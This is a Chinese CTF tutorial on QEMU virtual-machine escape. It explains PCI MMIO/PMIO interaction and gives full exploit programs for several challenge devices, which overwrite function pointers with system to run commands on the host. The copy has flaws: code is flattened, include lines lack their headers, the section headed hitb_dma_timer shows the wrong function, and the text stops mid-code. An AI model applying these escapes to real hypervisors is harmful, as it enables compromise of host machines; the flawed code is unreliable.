<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    QEMU逃逸系列

    VSole2022-12-01 09:19:27

    一:基礎知識介紹

    1.什么是qemu逃逸

    qemu用于模擬設備運行,而qemu逃逸漏洞多發于模擬pci設備中,漏洞形成一般是修改qemu-system代碼,所以漏洞存在于qemu-system文件內。而逃逸就是指利用漏洞從qemu-system模擬的這個小系統逃到主機內,從而在linux主機內達到命令執行的目的。

    2.qemu中的地址

    因為使用qemu-system模式啟動之后相當于在linux內又運行了一個小型linux,所以存在兩個地址轉換問題;從用戶虛擬地址到用戶物理地址,從用戶物理地址到qemu虛擬地址。

    用戶的物理內存實際上是qemu程序mmap出來的,看下面的launsh腳本,-m 1G也就是mmap一塊1G的內存。

    #!/bin/bash./qemu-system-x86_64 \    -m 1G \       -initrd ./rootfs.cpio \    -nographic \    -kernel ./vmlinuz-5.0.5-generic \    -L pc-bios/ \    -append "priority=low console=ttyS0" \    -monitor /dev/null \    -device pipeline
    

    這塊內存可以在qemu進程的maps文件下查看,sudo cat /proc/pid/maps

    在64位系統內部,虛擬地址由頁號和頁內偏移組成,我們借用前人的代碼來學習一下如何將虛擬地址轉換成物理地址。

    下面的程序申請了一個buffer,并寫入字符串——“Where am I?”,之后打印他的物理地址。

    #include #include #include #include #include #include #include  #define PAGE_SHIFT  12#define PAGE_SIZE   (1 << PAGE_SHIFT)#define PFN_PRESENT (1ull << 63)#define PFN_PFN     ((1ull << 55) - 1) int fd;// 獲取頁內偏移uint32_t page_offset(uint32_t addr){    // addr & 0xfff    return addr & ((1 << PAGE_SHIFT) - 1);} uint64_t gva_to_gfn(void *addr){    uint64_t pme, gfn;    size_t offset;     printf("pfn_item_offset : %p", (uintptr_t)addr >> 9);    offset = ((uintptr_t)addr >> 9) & ~7;     ////下面是網上其他人的代碼,只是為了理解上面的代碼    //一開始除以 0x1000  (getpagesize=0x1000,4k對齊,而且本來低12位就是頁內索引,需要去掉),即除以2**12, 這就獲取了頁號了,    //pagemap中一個地址64位,即8字節,也即sizeof(uint64_t),所以有了頁號后,我們需要乘以8去找到對應的偏移從而獲得對應的物理地址    //最終  vir/2^12 * 8 = (vir / 2^9) & ~7    //這跟上面的右移9正好對應,但是為什么要 & ~7 ,因為你  vir >> 12 << 3 , 跟vir >> 9 是有區別的,vir >> 12 << 3低3位肯定是0,所以通過& ~7將低3位置0    // int page_size=getpagesize();    // unsigned long vir_page_idx = vir/page_size;    // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);     lseek(fd, offset, SEEK_SET);    read(fd, &pme, 8);    // 確保頁面存在——page is present.    if (!(pme & PFN_PRESENT))        return -1;    // physical frame number    gfn = pme & PFN_PFN;    return gfn;} uint64_t gva_to_gpa(void *addr){    uint64_t gfn = gva_to_gfn(addr);    assert(gfn != -1);    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);} int main(){    uint8_t *ptr;    uint64_t ptr_mem;     fd = open("/proc/self/pagemap", O_RDONLY);    if (fd < 0) {        perror("open");        exit(1);    }     ptr = malloc(256);    strcpy(ptr, "Where am I?");    printf("%s", ptr);    ptr_mem = gva_to_gpa(ptr);    printf("Your physical address is at 0x%"PRIx64"", ptr_mem);     getchar();    return 0;}
    

    將其打包放到qemu系統內,然后進入qemu內部運行該c文件。再用gdb attach到qemu進程,查看mmap的內存。

    找到qemu的基地址之后,用字符串的物理地址與基地址相加,即可得到虛擬地址。

    3.PCI設備

    PCI 設備都有一個 PCI 配置空間來配置 PCI 設備,其中包含了關于 PCI 設備的特定信息。這些信息一般只需要關注Device ID和Vendor ID即可。

    擁有了這些信息即可在qemu系統內部使用lspci命令來找到該設備,從而能夠進行交互。交互問題我們后面再細說。

    4.交互

    通過kernel提供的sysfs,我們可以直接映射出設備對應的內存,具體方法是打開類似 /sys/devices/pci0000:00/0000:00:04.0/resource0 的文件,并用mmap將其映射到進程的地址空間,就可以對其進行讀寫了。這里的設備號0000:00:04.0是需要事先在/proc/iomem中看好的。當映射完成后,就可以對這塊內存進行讀寫操作了,內存讀寫會觸發到qemu內設備的mmio處理函數(一般會叫xxxx_mmio_read/xxxx_mmio_write),傳入的參數是寫入的地址偏移和具體的值。后面會放出一個exp模板。

    int    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    

    也可以通過使用/dev/mem文件來映射物理內存。

    void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000);
    物理內存可由# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource得到
    

    (1)Memory Space類型(MMIO)

    內存和 I/O 設備共享同一個地址空間。 MMIO 是應用得最為廣泛的一種 I/O 方法,它使用相同的地址總線來處理內存和 I/O 設備,I/O 設備的內存和寄存器被映射到與之相關聯的地址。當 CPU 訪問某個內存地址時,它可能是物理內存,也可以是某個 I/O 設備的內存,用于訪問內存的 CPU 指令也可來訪問 I/O 設備。每個 I/O 設備監視 CPU 的地址總線,一旦 CPU 訪問分配給它的地址,它就做出響應,將數據總線連接到需要訪問的設備硬件寄存器。為了容納 I/O 設備,CPU 必須預留給 I/O 一個地址區域,該地址區域不能給物理內存使用。

    (2)I/O Space類型(PMIO)

    在 PMIO 中,內存和 I/O 設備有各自的地址空間。 端口映射 I/O 通常使用一種特殊的 CPU 指令,專門執行 I/O 操作。在 Intel 的微處理器中,使用的指令是 IN 和 OUT。這些指令可以讀/寫 1,2,4 個字節(例如:outb, outw, outl)到 IO 設備上。I/O 設備有一個與內存不同的地址空間,為了實現地址空間的隔離,要么在 CPU 物理接口上增加一個 I/O 引腳,要么增加一條專用的 I/O 總線。由于 I/O 地址空間與內存地址空間是隔離的,所以有時將 PMIO 稱為被隔離的 IO(Isolated I/O)。在linux中可以通過iopl和ioperm這兩個系統調用對port的權能進行設置。

    5.qemu中訪問PCI設備的空間進行交互

    (1)qemu中訪問PCI設備的mmio空間

    通過resource0來實現,需要根據需要來修改函數參數是uint64_t還是uint32_t亦或者是char。

    #include #include #include #include #include #include #include #include #include #include #include  #include #include #include  char* mmio_mem; void mmio_write(uint64_t addr, char value) {    *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) {    return *((char *)(mmio_mem + addr));}int main(){    //init    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);  if (fd == -1)  {    perror("mmio_fd open failed");      exit(-1);  }    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);  if (mmio_mem == MAP_FAILED)    {      perror("mmap mmio_mem failed");            exit(-1);    }}
    #include #include #include #include #include #include #include #include #include #include #include  #include #include #include  char* mmio_mem; void mmio_write(uint64_t addr, char value) {    *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) {    return *((char *)(mmio_mem + addr));}int main(){    //init     mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通過cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource來獲得//0x00000000fea00000 0x00000000feafffff 0x0000000000040200   if (mmio_mem == MAP_FAILED)    {      perror("mmap mmio_mem failed");            exit(-1);    }}
    

    (2)qemu中訪問PCI設備的PMIO空間

    #include #include #include #include #include #include #include #include #include #include #include  #include #include #include  char* mmio_mem;int pmio_base = 0xc040;void pmio_write(uint32_t addr, uint32_t value){    outl(value, pmio_base + addr);} uint64_t pmio_read(uint32_t addr){    return inl(pmio_base + addr);}int main(int argc, char *argv[]){     // Open and map I/O memory for the strng device    if (iopl(3) !=0 ){        perror("I/O permission is not enough");                exit(-1);                }}
    

    mmap參數PROT_READ(1) | PROT_WRITE(2)可讀寫,MAP_SHARED共享的內存。

    6.打包&調試

    為了方便調試,我寫了一個解壓和壓縮腳本,如下:

    #!/bin/zshmkdir ./rootfscd ./rootfscpio -idmv < ../rootfs.cpio cp ../exp.c ./rootgcc -o ./root/exp -static ./root/exp.c find . | cpio -o --format=newc > ../rootfs.cpio cd ..rm -rf ./rootfs
    

    該腳本的作用是將文件系統解壓在新建的rootfs文件夾內,再將寫好的exp.c放到解壓的文件系統的root目錄下,將其編譯成可執行文件,再重打包回rootfs.cpio,最后刪掉rootfs文件夾。

    進行調試時,先進行打包操作,然后運行launch.sh文件,再起一個終端sudo gdb ./qemu-system-x86_64,使用attach附加到qemu-system進程之上。可以用ps -aux | grep qemu來獲得進程號。

    在gdb內下斷點,就可以愉快的調試了。下面會有介紹。

    在了解了以上的知識之后,就可以進行實操。

    二:實例

    1.pipeline

    (1)逆向

    先觀察啟動腳本launch.sh,先刪掉timeout,否則超時就退出了。

    #!/bin/bash./qemu-system-x86_64 \    -m 1G \    -initrd ./rootfs.cpio \    -nographic \    -kernel ./vmlinuz-5.0.5-generic \    -L pc-bios/ \    -append "priority=low console=ttyS0" \    -monitor /dev/null \    -device pipeline
    

    由參數"-device pipeline"得我們所主要逆向的部分是在pipeline*,將qemu-system-x86_64放入ida,由于存在符號,所以直接在函數欄里搜pipeline。

    漏洞一般存在于pmio_read,pmio_write,mmio_read,mmio_write這些對內存進行讀寫操作的函數內。

    發現根本看不懂,都和opaque這個變量有關,這肯定是結構體,而結構體名字一般和函數名pipeline有相似,我們來轉變一下,方法效果如下:

    ① pipeline_mmio_read函數

    發現一個很重要的結構體貫穿四個讀寫函數;

    逆向結果如下,總體就是從EncPipeLine或DecPipeLine內讀取數據,沒有越界讀,最后return處有個"8",因為

    EncPipeLine或DecPipeLine的data變量在偏移位4處,然后v4為結構體處-4。需要靜心去逆。

    ② pipeline_mmio_write函數

    與pipeline_mmio_read函數大同小異,漏洞并不在這里,功能是將val寫入EncPipeLine或DecPipeLine內。

    ③ pipeline_pmio_read函數

    addr為0返回idx,為4返回size。

    ④ pipeline_pmio_write函數

    猜測漏洞就在這里了,因為巨長。

    addr為0返回idx,addr是4寫入size。

    addr為12時,看到了encode,在pipeline_instance_init函數中發現,好像是base64加密的實現。并且會將加密后的數據放入DecPipeLine結構體內,同理addr為16時,就是解密,會將解密后的數據放入EncPipeLine結構體的data變量內。

    以上就是函數基本功能。

    (2)調試&漏洞

    因為qemu類型的題目大部分都是越界讀寫的問題,所以我們把注意力著重放在size上。我把注釋寫到下面的代碼內。

    void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size){  unsigned int sizea; // [rsp+4h] [rbp-4Ch]  unsigned int sizeb; // [rsp+4h] [rbp-4Ch]  int pIdx; // [rsp+28h] [rbp-28h]  int pIdxa; // [rsp+28h] [rbp-28h]  int pIdxb; // [rsp+28h] [rbp-28h]  int useSize; // [rsp+2Ch] [rbp-24h]  int ret_s; // [rsp+34h] [rbp-1Ch]  int ret_sa; // [rsp+34h] [rbp-1Ch]  char *iData; // [rsp+40h] [rbp-10h]   if ( size == 4 )  {    if ( addr == 4 )                            // addr = 4    {      pIdx = opaque->pIdx;      if ( pIdx <= 7 )      {        if ( pIdx > 3 )        {          if ( val <= 0x40 )            *&opaque->encPipe[1].data[0x44 * pIdx + 12] = val;        }        else if ( val <= 0x5C )        {          opaque->encPipe[pIdx].size = val;        }      }    }    else if ( addr > 4 )    {      if ( addr == 12 )                         // addr = 12      {        pIdxa = opaque->pIdx;        if ( pIdxa <= 7 )        {          if ( pIdxa <= 3 )            pIdxa += 4;   //放入解密結構體內          sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; //          if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //對size進行判斷,不存在溢出          {            ret_s = opaque->encode(             // encode                      &opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密                      &opaque->mmio.size + 0x60 * pIdxa + 8,                      sizea);            if ( ret_s != -1 )              *(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s;          }        }      }      else if ( addr == 16 )      {        pIdxb = opaque->pIdx;        if ( pIdxb <= 7 )        {          if ( pIdxb > 3 )            pIdxb -= 4;          sizeb = opaque->encPipe[pIdxb].size;          iData = opaque->encPipe[pIdxb].data;          if ( sizeb <= 0x5C )          {            if ( sizeb )              iData[sizeb] = 0;            useSize = opaque->strlen(iData);            if ( 3 * (useSize / 4) + 1 <= 64 )  // 84,85,86,87            {   //可以看到decode的size參數是與strlen(iData)有關,即使上面的if判斷限制了useSize,也可以使useSize是84-87四個數字。              ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密              if ( ret_sa != -1 )                opaque->decPipe[pIdxb].size = ret_sa;            }          }        }      }    }    else if ( !addr )    {      opaque->pIdx = val;    }  }}
    

    使用0xff進行base64編碼作為測試數據,這樣在解碼后得到的溢出字符為0xff,如果后續溢出size,0xff為最大值:

    >>> from pwn import *>>> b64e(b'\xff\xff\xff')'////'
    

    下面測試漏洞會不會覆蓋掉size位。

    #include #include #include #include #include  void * mmio;int port_base = 0xc040; void pmio_write(int port, int val){ outl(val, port_base + port); }void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}int  pmio_read(int port) { return inl(port_base + port); }char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); } void write_io(int idx,int size,int offset, char * data){    pmio_write(0,idx); pmio_write(4,size);    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }} int main(){    // init mmio and pmio    iopl(3);    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);     // write '/'*87 to block 2    char data[100];    memset(data,0,100);    memset(data,'/',87);    write_io(2,0x5c,0,data);     // decode時將在encPipe[2]的數據解密后放到decPipe[2],若能溢出,則decPipe[3]的size位為0xff    pmio_write(16,0);     return 0;}
    

    看效果

    gdb attach之后,將斷點下到pipeline_mmio_write,就可以愉快的c了。

    執行pmio_write(16,0)之前:

    執行pmio_write(16,0)之后,看到decPipe[3]的size被修改為了0xff,溢出達到,可以進行越界讀寫。

    (3)利用

    既然已經完成了size位的劫持,再通過mmio_read泄露encode函數地址,修改encode指針為system,再pima_write(12,0)即可命令執行。

    #include #include #include #include #include #include #include #include #include #include #include  #include #include #include  char* mmio_mem;int pmio_base = 0xc040; void mmio_write(uint64_t addr, char value) {    *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) {    return *((char *)(mmio_mem + addr));} void pmio_write(uint32_t addr, uint32_t value){    outl(value, pmio_base + addr);} uint64_t pmio_read(uint32_t addr){    return inl(pmio_base + addr);} uint64_t write_io(int idx,int size,int addr,char* data){    pmio_write(0,idx); //get idx   rsi,rdx    pmio_write(4,size); // set size    rsi,rdx    for(int i=0;i<strlen(data);i++)    {        mmio_write(addr+i,data[i]);    }} uint64_t read_io(int idx,int size,int addr,char* data){    pmio_write(0,idx);    for(int i=0;i    {        data[i] = mmio_read(addr+i);    }} int main(){    //init    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);    iopl(3);     //char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4=";    //char data[100] = {0};    //write_io(2,0x5c,0,dedata); //idx,size,addr,data    //pmio_write(16,0); //    //read_io(6,4,0,data);    //printf("[+] %s",data);    char data[100] = {0};    memset(data,0,100);    memset(data,'/',87);    write_io(2,0x5c,0,data); /////////////////////    pmio_write(16,0); //decode   //////////////////    char leak[16];    read_io(7,8,0x44,leak); /////////////    printf("[+] leak:0x%s",leak);    //printf("[+] leak:0x%llx", leak);    long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB;    long long system = base + 0x2C0AD0;    printf("[+] base:0x%llx",base);    printf("[+] system:0x%llx",system);     write_io(7,0x5c,0x44,&system); //////////////    char command[] = "cat flag";    write_io(4,0x3f,0,command);    pmio_write(12,0);    return 0;}
    

    效果如下:

    2.2021D3CTF d3dev

    這題是D3CTF-2021,需要使用ubuntu20的環境進行操作,ubuntu18循環報錯,ubuntu22沒試過。第一題敘述較為詳細,后面例題我便只分析漏洞處和整體代碼。

    該題目也是有mmio和pmio兩種訪存方式,可以套用上面的exp模板,然后分析代碼。

    (1)逆向

    ① d3dev_mmio_read函數

    直接開幕雷擊,看到了一堆什么異或之類的,問了下re師傅,是tea加密解密。一開始我是不知道這里是有越界讀的,后面會分析道,那些異或是tea decode,我們獲得的數據會經過decode,若我們想得到原始值,需要對其進行encode。

    ② d3dev_mmio_write函數

    和read函數類似,若mmio_write_part為1,則對數據進行加密,若為0,則進行寫入。

    ③ d3dev_pmio_read函數

    很簡單,獲得opaque結構體的數據。

    ④ d3dev_pmio_write函數

    addr為8時,對seek進行賦值;

    addr為0x1c時,執行函數;

    addr為4時,將key[]清0;

    addr為0時,設置memory_mode。

    void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t *key; // rbp   if ( addr == 8 )  {    if ( val <= 0x100 )      opaque->seek = val;  }  else if ( addr > 8 )  {    if ( addr == 0x1C )    {      opaque->r_seed = val;      key = opaque->key;      do        *key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size);      while ( key != &opaque->rand_r );    }  }  else if ( addr )  {    if ( addr == 4 )    {      *opaque->key = 0LL;      *&opaque->key[2] = 0LL;    }  }  else  {    opaque->memory_mode = val;  }}
    

    (2)漏洞

    由d3dev_pmio_write函數得知可為opaque->seek賦值為0x100,blocks有0x800字節,d3dev_mmio_read內的data = opaque->blocks[opaque->seek + (addr >> 3)],此處的blocks是通過index的方式進行訪存,而blocks又是dq的數據(8 bytes),所以seek的0x100可以訪問到的內存就是0-0x800,而通過addr進行越界讀。

    d3dev_mmio_write也是如此,可以越界寫,我們就有了任意讀寫d3devState這個結構體附近的內存的"權利"。

    在pmio_write里有執行system的機會,將opaque->rand_r覆蓋為system,opaque->r_seed覆蓋為"/bin/sh"。

    (3)利用

    #include #include #include #include #include #include  unsigned char* mmio_mem;void setup_mmio() {    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);} void mmio_write(uint32_t addr,uint32_t val){    *((uint32_t*)(addr+mmio_mem)) = val;} uint64_t mmio_read(uint64_t addr){    return *((uint64_t*)(addr+mmio_mem));} uint32_t pmio_base = 0xc040;void setup_pmio() {    iopl(3);  // 0x3ff 以上端口全部開啟訪問} uint64_t pmio_read(uint64_t addr){    return (uint64_t)inl(pmio_base + addr);} uint64_t pmio_write(uint64_t addr,uint64_t val){    outl(val,addr+pmio_base);}  //因為key=0,所以直接省略掉key進行寫加密解密函數。注意exp內的en實際對應的是deuint64_t en(uint32_t high,uint32_t low){    uint32_t sum = 0xC6EF3720;    uint32_t delta = 0x9E3779b9;    for(int i=0;i<32;i++){        high -= (low*16) ^ (low+sum) ^ (low>>5);        low -= (high*16) ^ (high+sum) ^ (high>>5);        //sum -= delta;        sum += 0x61C88647;    }    return (uint64_t)high * 0x100000000 + low;} uint64_t de(uint32_t high,uint32_t low){    uint32_t sum=0;    uint32_t delta = 0x9E3779b9;    for(int i=0;i<32;i++){        //sum += delta;        sum -= 0x61C88647;        low += (high*16) ^ (high+sum) ^ (high>>5);        high += (low*16) ^ (low+sum) ^ (low>>5);    }    return (uint64_t)high * 0x100000000 + low;} int main(){    printf("begin!!!!!");    setup_mmio();    setup_pmio();    pmio_write(8,0x100); //opaque->seek=0x100    pmio_write(4,0); //key[0-3]=0    //0x103    uint64_t rand_r = mmio_read(24); //decode    printf("region rand_r:0x%lx",rand_r);    uint64_t randr = de(rand_r/0x100000000,rand_r%0x100000000);    printf("encode randr:0x%lx",randr);    uint64_t system = randr + 0xa560;    printf("system:0x%lx", system);    uint64_t encode_system = en(system / 0x100000000, system % 0x100000000);    printf("encode system:0x%lx", encode_system);     uint32_t low_sys = encode_system%0x100000000;    uint32_t high_sys = encode_system/0x100000000;    mmio_write(24,low_sys); //只能4字節4字節的寫入    sleep(1);    mmio_write(24,high_sys);     pmio_write(8,0);    mmio_write(0,0x67616c66); //blocks: flag    pmio_write(0x1c,0x20746163); //r_seed: cat     return 0;}
    

    3.2019數字經濟眾測qemu

    (1)題目分析

    首先查看launch.sh腳本。

    #! /bin/zsh./qemu-system-x86_64 \-initrd ./initramfs.cpio \-kernel ./vmlinuz-4.8.0-52-generic \-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \-monitor /dev/null \-m 64M --nographic \-L pc-bios \-device rfid,id=vda \
    

    設備是rfid,去ida內函數欄搜索rfid,并沒有找到,是去掉符號表。

    這題沒有符號表,所以不能在函數欄內搜索,換一個思路去搜索字符串rfid來尋找相應函數。

    下面的便是rfid_class_init。

    想要找到mmio或者pmio對應的write/read函數,需要定位到 xxxxxxx_realize函數,例如d3dev這題,定位到了pci_d3dev_realize函數,發現&d3dev_mmio_ops和&d3dev_pmio_ops,跟進去發現有實現方法。而pci_d3dev_realize在d3dev_class_init內引用。

    由以上分析可得,sub_5713A8函數內的sub_571043為realize函數。

    點進去off_FE9720,發現了mmio的實現。

    (2)逆向

    ① sub_570C63

    比對字符串,然后執行命令,漏洞肯定在另一個函數內了,看到這里應該就有了具體思路,劫持byte_122FFE0為"wwssadadBABA",復寫command變量即可。

    ② sub_570CEB

    write函數相當于一個菜單,以((addr >> 20) & 0xF)作為菜單選項,將字符傳遞于byte_122FFE0,當result為6時,將val賦值給command.由于存在移位等問題,exp的mmio_write/mmio_read函數的實現需要變化一下。

    _BYTE *__fastcall sub_570CEB(__int64 opaque, unsigned __int64 addr, __int64 val, unsigned int size){  _BYTE *result; // rax  _DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF  unsigned __int64 v6; // [rsp+10h] [rbp-30h]  __int64 v7; // [rsp+18h] [rbp-28h]  int v8; // [rsp+2Ch] [rbp-14h]  int idx; // [rsp+30h] [rbp-10h]  int v10; // [rsp+34h] [rbp-Ch]  __int64 v11; // [rsp+38h] [rbp-8h]   v7 = opaque;  v6 = addr;  *&n[1] = val;  v11 = opaque;  v8 = (addr >> 20) & 0xF;  idx = (addr >> 16) & 0xF;  result = ((addr >> 20) & 0xF);  switch ( result )  {    case 0uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'w';      break;    case 1uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 's';      break;    case 2uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'a';      break;    case 3uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'd';      break;    case 4uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'A';      break;    case 5uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'B';      break;    case 6uLL:      v10 = v6;      result = memcpy(&command[v6], &n[1], size);      break;    default:      return result;  }  return result;}
    

    (3)調試

    本題沒有符號表,為調試增加了比較大的困難,但是由于題目比較簡單,不調試也可以做出來,為了進行學習,我來嘗試一下調試。應該就和普通的pwn題一樣調試,用b *$rebase(addr)下斷點。

    測試環境ubuntu20可以,ubnutu18不行。

    下好了斷點,c執行,然后運行exp,便可以愉快的觀察程序運行。

    (4)利用

    #include #include #include #include #include #include #include #include #include #include  unsigned char* mmiobase;//wwssadadBABAvoid mmio_write(uint64_t addr,uint64_t val){      *(uint64_t *)(mmiobase + addr) = val;} int main(){ mmiobase = mmap(0,0x1000000,PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem",2),0xfb000000);                                                   //str    idx  mmio_write(0x000000,0);  //w   ,   0  mmio_write(0x010000,0);     //w   ,   1    mmio_write(0x120000,0);  //s   ,   2  mmio_write(0x130000,0);  //s   ,   3  mmio_write(0x240000,0);  //a   ,   4  mmio_write(0x350000,0);  //d   ,   5  mmio_write(0x260000,0);  //a   ,   6  mmio_write(0x370000,0);  //d   ,   7  mmio_write(0x580000,0);  //B   ,   8  mmio_write(0x490000,0);  //A   ,   9  mmio_write(0x5a0000,0);  //B   ,   a  mmio_write(0x4b0000,0);  //A   ,   b    char cmd[0x20] = "cat flag";  mmio_write(0x600000,*(uint64_t *)(&cmd[0]));  return *(int *)mmiobase;}
    

    效果如圖:

    4.2017HITB babyqemu

    (1)題目分析

    直接扔ida,有符號??,搜索一下只發現了mmio_read/mmio_write,然后恢復一下結構體;

    查看一下主要操作的結構體:

    (2)逆向

    ① hitb_mmio_read函數

    返回各個結構體內的數據,不存在漏洞。

    uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size){  uint64_t result; // rax  uint64_t val; // [rsp+0h] [rbp-20h]   result = -1LL;  if ( size == 4 )  {    if ( addr == 128 )      return opaque->dma.src;    if ( addr > 128 )    {      if ( addr == 140 )        return *(&opaque->dma.dst + 4);      if ( addr <= 140 )      {        if ( addr == 132 )          return *(&opaque->dma.src + 4);        if ( addr == 136 )          return opaque->dma.dst;      }      else      {        if ( addr == 144 )          return opaque->dma.cnt;        if ( addr == 152 )          return opaque->dma.cmd;      }    }    else    {      if ( addr == 8 )      {        qemu_mutex_lock(&opaque->thr_mutex);        val = opaque->fact;        qemu_mutex_unlock(&opaque->thr_mutex);        return val;      }      if ( addr <= 8 )      {        result = 0x10000EDLL;        if ( !addr )          return result;        if ( addr == 4 )          return opaque->addr4;      }      else      {        if ( addr == 0x20 )          return opaque->status;        if ( addr == 0x24 )          return opaque->irq_status;      }    }    return -1LL;  }  return result;}
    

    ② hitb_mmio_write函數

    正常對HitbState字段寫入,但是有一個函數調用很可疑timer_mod(&opaque->dma_timer, ns / 1000000 + 100);

    void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t v4; // r13d  int v5; // edx  bool v6; // zf  int64_t ns; // rax   if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) )  {    if ( addr == 128 )    {      if ( (opaque->dma.cmd & 1) == 0 )        opaque->dma.src = val;    }    else    {      v4 = val;      if ( addr > 128 )      {        if ( addr == 140 )        {          if ( (opaque->dma.cmd & 1) == 0 )            *(&opaque->dma.dst + 4) = val;        }        else if ( addr > 140 )        {          if ( addr == 144 )          {            if ( (opaque->dma.cmd & 1) == 0 )              opaque->dma.cnt = val;          }          else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 )          {            opaque->dma.cmd = val;            ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);            timer_mod(&opaque->dma_timer, ns / 1000000 + 100);          }        }        else if ( addr == 132 )        {          if ( (opaque->dma.cmd & 1) == 0 )            *(&opaque->dma.src + 4) = val;        }        else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 )        {          opaque->dma.dst = val;        }      }      else if ( addr == 32 )      {        if ( (val & 0x80) != 0 )          _InterlockedOr(&opaque->status, 0x80u);        else          _InterlockedAnd(&opaque->status, 0xFFFFFF7F);      }      else if ( addr > 0x20 )      {        if ( addr == 96 )        {          v6 = (val | opaque->irq_status) == 0;          opaque->irq_status |= val;          if ( !v6 )            hitb_raise_irq(opaque, 0x60u);        }        else if ( addr == 100 )        {          v5 = ~val;          v6 = (v5 & opaque->irq_status) == 0;          opaque->irq_status &= v5;          if ( v6 && !msi_enabled(&opaque->pdev) )            pci_set_irq(&opaque->pdev, 0);        }      }      else if ( addr == 4 )      {        opaque->addr4 = ~val;      }      else if ( addr == 8 && (opaque->status & 1) == 0 )      {        qemu_mutex_lock(&opaque->thr_mutex);        opaque->fact = v4;        _InterlockedOr(&opaque->status, 1u);        qemu_cond_signal(&opaque->thr_cond);        qemu_mutex_unlock(&opaque->thr_mutex);      }    }  }}
    

    ③ hitb_dma_timer函數

    在hitb_mmio_write內調用了timer_mod,qemu_clock_get_ns獲取時鐘的納秒值,timer_mod修改dma_timer的expire_time,這樣應該可以觸發hitb_dma_timer的調用。

    函數根據cmd來選擇不同分支,cmd最低位必須為1;

    當dma.cmd為2|1時,會將dma.src減0x40000作為索引i,然后將數據從dma_buf[i]拷貝利用函數cpu_physical_memory_rw拷貝至物理地址dma.dst中,拷貝長度為dma.cnt。

    當dma.cmd為4|2|1時,會將dma.dst減0x40000作為索引i,然后將起始地址為dma_buf[i],長度為dma.cnt的數據利用利用opaque->enc函數加密后,再調用函數cpu_physical_memory_rw拷貝至物理地址opaque->dma.dst中。

    當dma.cmd為0|1時,調用cpu_physical_memory_rw將物理地址中為dma.dst,長度為dma.cnt,拷貝到dma.dst減0x40000作為索引i,目標地址為dma_buf[i]的空間中。

    void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t v4; // r13d  int v5; // edx  bool v6; // zf  int64_t ns; // rax   if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) )  {    if ( addr == 128 )    {      if ( (opaque->dma.cmd & 1) == 0 )        opaque->dma.src = val;    }    else    {      v4 = val;      if ( addr > 128 )      {        if ( addr == 140 )        {          if ( (opaque->dma.cmd & 1) == 0 )            *(&opaque->dma.dst + 4) = val;        }        else if ( addr > 140 )        {          if ( addr == 144 )          {            if ( (opaque->dma.cmd & 1) == 0 )              opaque->dma.cnt = val;          }          else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 )          {            opaque->dma.cmd = val;            ns = 